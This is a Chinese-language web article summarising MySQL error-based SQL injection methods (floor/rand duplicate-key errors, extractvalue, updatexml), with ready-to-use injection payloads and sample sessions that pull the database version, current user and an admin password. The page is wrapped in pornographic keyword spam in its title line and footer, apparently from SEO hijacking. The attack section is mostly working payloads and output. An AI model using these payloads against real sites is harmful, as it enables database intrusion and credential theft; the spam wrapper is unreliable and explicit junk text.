青草久久影院-青草久久伊人-青草久久久-青草久久精品亚洲综合专区-SM双性精跪趴灌憋尿调教H-SM脚奴调教丨踩踏贱奴

17站長網(wǎng)

17站長網(wǎng) 首頁 安全 安全設置 查看內(nèi)容

mysql注入報錯利用方法總結

2022-9-24 21:36| 查看: 2294 |來源: 互聯(lián)網(wǎng)

1、通過floor報錯 可以通過如下一些利用代碼 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 un

1、通過floor報錯

可以通過如下一些利用代碼

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));

舉例如下:

首先進行正常查詢:

mysql> select * from article where id = 1;

+—-+——-+———+

| id | title | content |

+—-+——-+———+

| 1 | test | do it |

+—-+——-+———+

假如id輸入存在注入的話,可以通過如下語句進行報錯。

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ‘5.1.33-community-log1’ for key ‘group_key’

可以看到成功爆出了Mysql的版本,如果需要查詢其他數(shù)據(jù),可以通過修改version()所在位置語句進行查詢。

例如我們需要查詢管理員用戶名和密碼:

Method1:

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ‘a(chǎn)dmin8881’ for key ‘group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));

ERROR 1062 (23000): Duplicate entry ‘a(chǎn)dmin8881’ for key ‘group_key’

2、ExtractValue

測試語句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

實際測試過程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–

ERROR 1105 (HY000): XPATH syntax error: ‘\admin888’

3、UpdateXml

測試語句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

實際測試過程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’

本文最后更新于 2022-9-24 21:36,某些文章具有時效性,若有錯誤或已失效,請在網(wǎng)站留言或聯(lián)系站長:[email protected]
·END·
站長網(wǎng)微信號:w17tui,關注站長、創(chuàng)業(yè)、關注互聯(lián)網(wǎng)人 - 互聯(lián)網(wǎng)創(chuàng)業(yè)者營銷服務中心

免責聲明:本站部分文章和圖片均來自用戶投稿和網(wǎng)絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業(yè)用途,如果損害了您的權利,請聯(lián)系我們及時修正或刪除。謝謝!

17站長網(wǎng)微信二維碼

始終以前瞻性的眼光聚焦站長、創(chuàng)業(yè)、互聯(lián)網(wǎng)等領域,為您提供最新最全的互聯(lián)網(wǎng)資訊,幫助站長轉型升級,為互聯(lián)網(wǎng)創(chuàng)業(yè)者提供更加優(yōu)質(zhì)的創(chuàng)業(yè)信息和品牌營銷服務,與站長一起進步!讓互聯(lián)網(wǎng)創(chuàng)業(yè)者不再孤獨!

掃一掃,關注站長網(wǎng)微信

大家都在看

    熱門排行

      最近更新

        返回頂部
        主站蜘蛛池模板: 777EY_卡通动漫_1页 | 极品 女神校花 露脸91 | 国产成人高清亚洲一区app | 含羞草免费完整视频在线观看 | 含羞草影院免费区 | 国产精品xxxav免费视频 | 久久久久青草大香线综合精品 | 鬼灭之刃花街篇免费樱花动漫 | 亚洲精品网址 | 国产精品爆乳尤物99精品 | 亚洲 日韩 自拍 视频一区 | 精品亚洲一区二区在线播放 | 国精产品一区一区三区有限在线 | 一二三四韩国免费观看 | 精品精品国产自在现拍 | 97影院理论午夜伦不卡偷 | 色欲狠狠躁天天躁无码中文字幕 | 国产亚洲精品久久久久苍井松 | 亚洲国产精品一区二区第一页 | 亚洲国产精品久久无套麻豆 | 后入式啪gif动态图 后入式狂顶免费视频 | 亚洲精品色情APP在线下载观看 | 十九岁在线观看免费完整版电影 | 久久机热视频 这里只有精品首页 | 久草在线草a免费线看 | 伊人久久99热这里只有精品 | 国产精品伦理一二三区伦理 | 欧美色图一区二区三区 | 亚洲AV无码乱码国产麻豆穿越 | 跪趴式啪啪GIF动态图27报 | 跳蛋按摩棒玉势PLAY高H | 久久精品亚洲AV高清网站性色 | 岛国大片在线观看免费版 | 无限资源在线观看完整版免费下载 | 99re久久这里只有精品 | 色欲天天婬色婬香影院 | 0951影音在线 | 97资源站超碰在线视频 | 小SAO货叫大声点妓女 | 最新国产三级在线不卡视频 | 日韩做A爰片久久毛片A片毛茸茸 |